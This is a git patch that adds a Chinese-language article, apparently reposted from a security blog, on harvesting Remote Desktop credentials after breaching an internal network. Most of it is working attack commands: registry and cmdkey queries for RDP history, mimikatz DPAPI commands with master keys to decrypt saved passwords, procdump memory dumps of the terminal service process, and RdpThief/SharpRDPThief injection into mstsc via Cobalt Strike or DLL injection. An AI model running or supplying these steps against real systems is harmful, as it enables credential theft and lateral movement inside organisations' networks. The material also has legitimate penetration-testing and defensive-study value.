From d8a006b6855e87d14eee55223e83500f2ec3be31 Mon Sep 17 00:00:00 2001 From: test Date: Tue, 24 Dec 2024 01:56:39 +0000 Subject: [PATCH] =?UTF-8?q?=E5=86=85=E7=BD=91=E8=BF=9C=E7=A8=8B=E6=A1=8C?= =?UTF-8?q?=E9=9D=A2=E5=AF=86=E7=A0=81=E8=8E=B7=E5=8F=96=E3=80=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- data.json | 3 +- doc/内网远程桌面密码获取.md | 404 ++++++++++++++++++++++++++ 2 files changed, 406 insertions(+), 1 deletion(-) create mode 100644 doc/内网远程桌面密码获取.md diff --git a/data.json b/data.json index be71173a..6763d420 100644 --- a/data.json +++ b/data.json @@ -1970,5 +1970,6 @@ "https://mp.weixin.qq.com/s?__biz=MzI4MDQ5MjY1Mg==&mid=2247515310&idx=1&sn=0d5a90a6415efced680b61d90b5d0c8c": "Bazaar v1.4.3 任意文件读取漏洞(CVE-2024-40348)", "https://mp.weixin.qq.com/s?__biz=MzI4MDQ5MjY1Mg==&mid=2247515310&idx=2&sn=56e4be8036c18c800185e9bb1a7dc78c": "渗透测试 -- 系统漏洞扫描", "https://mp.weixin.qq.com/s?__biz=MzI3NzMzNzE5Ng==&mid=2247489345&idx=1&sn=91726b817300dc5b41e7c6a25ef449d4": "【漏洞预警】Poppler越界读取漏洞(CVE-2024-56378)", - "https://mp.weixin.qq.com/s?__biz=Mzg2NjgzNjA5NQ==&mid=2247523969&idx=1&sn=b096f169d52f79ead83a7f4899282a8f": "【漏洞通告】Craft CMS 远程代码执行漏洞(CVE-2024-56145)" + "https://mp.weixin.qq.com/s?__biz=Mzg2NjgzNjA5NQ==&mid=2247523969&idx=1&sn=b096f169d52f79ead83a7f4899282a8f": "【漏洞通告】Craft CMS 远程代码执行漏洞(CVE-2024-56145)", + "https://mp.weixin.qq.com/s/7cV7xUD5XoElvax20i0fzg": "内网远程桌面密码获取" } \ No newline at end of file diff --git a/doc/内网远程桌面密码获取.md b/doc/内网远程桌面密码获取.md new file mode 100644 index 00000000..f8b5f7dd --- /dev/null +++ b/doc/内网远程桌面密码获取.md @@ -0,0 +1,404 @@ +# 内网远程桌面密码获取 +原创 simeon的文章 小兵搞安全 2024-12-23 13:12 + +#     当通过边界渗透进入内网后,通过密码暴力破解,内网应用等获取内网Windows权限后,通过代理等进行远程桌面登录,查看并获取远程桌面连接历史IP地址以及保存的用户名和密码,可以继续进行内网渗透,获取更多的权限。 +## 1.1远程桌面历史IP获取     +### 1.1.1mstsc查看历史登录IP     + + +   获取远程桌面(RDP)连接的历史IP记录可以帮助管理员了解哪些服务器或远程机器曾被连接过。这些信息通常存储在Windows注册表中。可以打开远程桌面mstsc后,在计算机列表中可以看到曾经的历史登录IP,有些IP可能还保存了登录用户名和密码,使用这些凭据可以直接登录管理员曾经登录过的服务器,前提是需要获取该服务器或者个人主机的远程登录权限。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImtTAR0X20rWaaquUkbRmSgeczVBdTeZ7wEkjlcqjI9DKnEDpiar1oK0QA/640?wx_fmt=png "") + + + + +查看历史登录IP + +     +### 1.1.2注册表地址获取历史登录IP地址     + + +1.注册表键值查看 + + +按 Win + R 键,输入 regedit,然后按回车键,导航到HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers,可以看到历史登录过的服务器IP地址获取域名。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImt9gIdFSYyzp5nS7pkUZics0gS5kTUCjlu9L6QaofoLzKgDs4Ce9YCYzA/640?wx_fmt=png "") + + + + +2.命令行直接获取远程桌面历史连接IP地址 + + +powershell下执行命令: + + +dir "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" -Name + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImttlibGniapCagsHjtTRwd9bBWA0AicJbVoSYgAgB7s4fct5nAKYOmicXKqQ/640?wx_fmt=png "") + + + +     +### 1.1.3ListRDPConnections     + + + +https://github.com/Heart-Sky/ListRDPConnections + + +只能获取历史连接记录。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImtibAceux6WW0Kibgib5pWI3ZFMOoOibYS1lwxlsx0nm9nfK28bicxDgQpWJQ/640?wx_fmt=png "") + + +## 1.2获取 RDP 远程桌面连接凭据     +### 1.2.1在凭据管理器中查看 Windows 凭据     + + +1.Windows凭据管理器介绍 + + +Windows凭据管理器(Credential Manager)是Windows操作系统中的一个组件,它帮助用户管理和存储各种类型的登录信息和其他敏感数据。通过凭据管理器,用户可以安全地保存网站、网络资源和Windows域的用户名和密码等信息,以便在需要时自动填充这些凭证,从而简化访问受保护资源的过程。 + + +凭据管理器的主要功能 + +· + + +Web凭据:用于保存网站登录信息。 + +     + +· + + +Windows凭据:包括网络资源(如文件服务器、打印机)、Windows域账户等的登录信息。 + +· + + +证书:用于身份验证的数字证书。 + + +2.Windows 凭据保留位置 + + +C:\Users\<用户名>\AppData\Local\Microsoft\Credentials + + +3.ps下查看Windows凭据 + + +(1)查看当前保存的凭据 + + +cmdkey /list  + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImtFZ9SE5MtiaDHXWW3z7ib7RevBhGMZ5JibtcFdejr4uuP22AFSqbcwy0Pg/640?wx_fmt=png "") + + + + +(2)cmd下查看 +保存的凭据 + + +dir /a "%userprofile%\AppData\Local\Microsoft\Credentials\*" + +     + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImtJNMKiafJdgwtkZTl5XN844LzrfsR9m4BwvYZiarH68ia9n8DfCzvJDzicQ/640?wx_fmt=png "") + + + + +(3) +PowerShell下查看 +保存的凭据 + + +dir /a "%userprofile%\AppData\Local\Microsoft\Credentials\*" + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImtOQqzlbfsKD4iclYfSAXW4t64hG3MEJUDmz7r9agb239TdmD2773DMqA/640?wx_fmt=png "") + + +### 1.2.2使用 Mimikatz 导出远程桌面连接凭据     + + +1.获取 +guidMasterKey + + +(1)mimikatz + + +(2) +privilege::debug + +     + + +(3)dpapi::cred /in:C:\Users\36502\AppData\Local\Microsoft\Credentials\1A5A322625F3341E03935748DAA118C3 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImtjsRT6tw2BiaxcQ2zbosUBchglpfOfw2jottOfUBZdrhqkZlDu6aKicgQ/640?wx_fmt=png "") + + + + +也可以一句话直接执行: + + +mimikatz # mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\36502\AppData\Local\Microsoft\Credentials\1A5A322625F3341E03935748DAA118C3" + + +{778f9b6e-31d1-4c55-9b6e-5360aed0bf38} + + +说明凭据文件是通过dir /a "%userprofile%\AppData\Local\Microsoft\Credentials\*"获取的。 + + +记录 +guidMasterKey: +{778f9b6e-31d1-4c55-9b6e-5360aed0bf38} + + +2.获取 +MasterKey + + +(1) +privilege::debug + +     + + +(2)sekurlsa::dpapi + + +也可以直接cmd下执行命令 + + +  +mimikatz.exe "privilege::debug" "sekurlsa::dpapi" + + +Windows11下执行未能测试成功。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImtYViabdV0xCvGbHPviayiaaw0LsVA2636EibT36pNgptQicErYjf5fAMjSOw/640?wx_fmt=png "") + + + + +正确的图如下: + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImtXEwXdcTlU6grYNs7lib8DvOlKTozsSGhTicOqwrnRr6dicfiazic5bCEzYw/640?wx_fmt=png "") + + + + +3.获取明文密码 + + +mimikatz.exe "dpapi::cred /in:C:\Users\3650\AppData\Local\Microsoft\Credentials\4D8F543ACD10B143849414A5085FE4E6 /masterkey:53c01b9679dc0e55b91584781fe13eb1c5faa2694fc693f98838fedd74d3ad371754b9d9d841769882c8e14c965e4ae40a45dce88101cf5831fc4d694cc38e81" + +     + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImtuhVg0HahCSjjf4K4GRzaJ38ibJicOXbvObE1mmKNLnlcbJQstp66iaJ3w/640?wx_fmt=png "") + + +### 1.2.3从 svchost 中获取 RDP 连接凭据     + + +svchost.exe 是 Windows 中用于运行多个服务的通用主机进程,对系统正常运行至关重要。当用户通过 RDP 远程桌面连接并进行身份验证时,相关服务由 svchost.exe 托管。由于 Windows 身份验证机制的原因,RDP 凭据可能以纯文本形式短暂存在于 svchost.exe 的内存中,这使得通过内存转储技术理论上可以提取这些凭据。 + + +1. +查询终端服务 + + +sc queryex termservice + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImtdicEaicuJmkIKWHglKib1MTQApF1H4qkdmmwWY96funftEl44LJ3Ocsgg/640?wx_fmt=png "") + + + +     + + +2.内存导出 + + +通过 procdump.exe 将 PID 进程内存转储为 .dmp + + +procdump64.exe -ma PID -accepteula C:\Users\Administrator\Desktop +### 1.2.4从已存在的 RDP 连接中导出     + + +privilege::debugts::logonpasswords# mimikatz.exe "privilege::debug" "ts::logonpasswords" +### 1.2.5使用 PowerShell 脚本Invoke-WCMDump导出     + + +•项目地址: +https://github.com/peewpw/Invoke-WCMDump + + +Invoke-WCMDump.ps1 这个 PowerShell 脚本可以在 Windows 凭据管理器中枚举 Windows 凭据,然后提取有关每个凭据的可用信息,且无须管理员权限。 + + +1.需要更改权限 + + +Import-Module .\Invoke-WCMDump.ps1 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImtj4ibkwpZnujBicvHGib4pgLjmFO5RwfAPs2ZcLpjGaB7BCLDj5icBXsNkg/640?wx_fmt=png "") + + + + +PowerShell默认设置为Restricted,这意味着不允许运行任何脚本,包括本地脚本。为了运行自定义脚本,需要更改执行策略。 + + +Restricted:默认值,不允许运行任何脚本。 + +     + + +AllSigned:只允许运行由受信任发布者签署的脚本。 + + +RemoteSigned:允许运行本地创建的脚本,远程下载的脚本必须有数字签名。 + + +Unrestricted:允许所有脚本运行,但会警告未签名的脚本。 + + +Bypass:不阻止或不提示任何内容;适用于构建服务器等非交互式环境。 + + +Undefined:移除当前作用域内的执行策略(不会影响其他作用域)。 + + +2.更改权限 + + +Get-ExecutionPolicy + + +Set-ExecutionPolicy RemoteSigned + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImt3HB8yR1wGREWqEUmsfYmU8wmUicP8oyDrKialpcrqQ26uqJWDiaicAibunA/640?wx_fmt=png "") + + + + +3.执行导出命令 + + +Import-Module .\Invoke-WCMDump.ps1 + +     + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImtLqZWooBGmLOibJcbJBia53ia7gzkYtS25C1dOkuRAKMLXv8UDaKwibibnTQ/640?wx_fmt=png "") + + +### 1.2.6 RdpThief     + + +当用户打开 Windows 远程桌面 mstsc.exe 并通过 RDP 协议远程连接到其他系统时,将创建 mstsc.exe 进程。而如果此时我们使用 API Hooking 则可以直接拦截用户提供的凭据,并将其保存到用户主机上某处。Rio Sherri 开发了一个名为 RdpThief(https://github.com/0x09AL/RdpThief) 的概念性验证工具,它可以尝试在运行有 mstsc.exe 进程的主机上 Hooking mstsc 进程中使用的函数(CredIsMarshaledCredentialW 和 CryptProtectMemory),并检索其中的凭据然后将凭据写入主机上的某个文件中。 + + +1.使用 Cobalt Strike 加载 RdpThief + +     + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImt1IzsZpA8cQhMCBW4YQ5adr5wHzqJoUDNhoHIuHXytNxaGGwCklsfcQ/640?wx_fmt=png "") + + + + +2.依次执行以下命令 + + +(1)rdpthief_enable:启动心跳检测,每 5 秒搜索一次 mstsc.exe 进程并注入 RdpThief_x64.tmp 中的 Shellcode,管理员远程桌面登录3389。 + + +(2)rdpthief_disable:停止心跳检测,但该命令不会卸载注入的 Shellcode•rdpthief_dump:显示抓取的凭据,默认读取路径为 %temp%\data.bin + + +(3)rdpthief_dump + + +抓出来的凭据存储在 %temp%\data.bin 目录下 + +     + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImtibOmBlCWQIB69xDlZqOXd1jyuOVAADr02flyRSCnrjXA3J71lhlsQrA/640?wx_fmt=png "") + + + + +另外一种注入方法 + + +(1)获取mstsc的pid值假设为1111 + + +tasklist /v | findstr "mstsc" + + +(2)注入RdpThief.dll + + +Import-Module .\Invoke-DllInjection.ps1 + + +Invoke-DllInjection -ProcessID 1111-Dll RdpThief.dll +### 1.2.7 SharpRDPThief      + + + +https://github.com/passthehashbrowns/SharpRDPThief + + +SharpRDPThief 工具是 Josh Magri 用 C# 重写对 RdpThief 的重写。然而,与 RdpThief 相比,SharpRDPThief 使用 IPC Server 可以使用接收来自 mstsc.exe 进程中抓取到的凭据。如果 mstsc.exe 被终止,Server 也会继续运行,并且等待 mstsc.exe 进程再次重新启动时会尝试再次进行 Hooking。这解决了 RdpThief 要求进程已经存在的限制。直接运行 SharpRDPThief.exe,然后模拟管理员使用远程桌面登录某台服务器,输入密码后 SharpRDPThief 成功抓取到了 RDP 登录凭据。 + +     +### 1.2.8Remote Desktop PassView v1.02     + + +Remote Desktop PassView v1.02对Windows早期版本可以读取密码,对于Windows11无法读取保存的密码。工具下载地址: +https://www.nirsoft.net/utils/remote_desktop_password.html + + +直接运行rdpv即可。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icCXA7Jkf1VEt9iafqp8b6hCIjcNO1iaImttyhAQuQOw15PLbLYpJbj1vVUicia30703YetUEOMbLEdOjRUQob4UiaXg/640?wx_fmt=png "") + + +  + +     +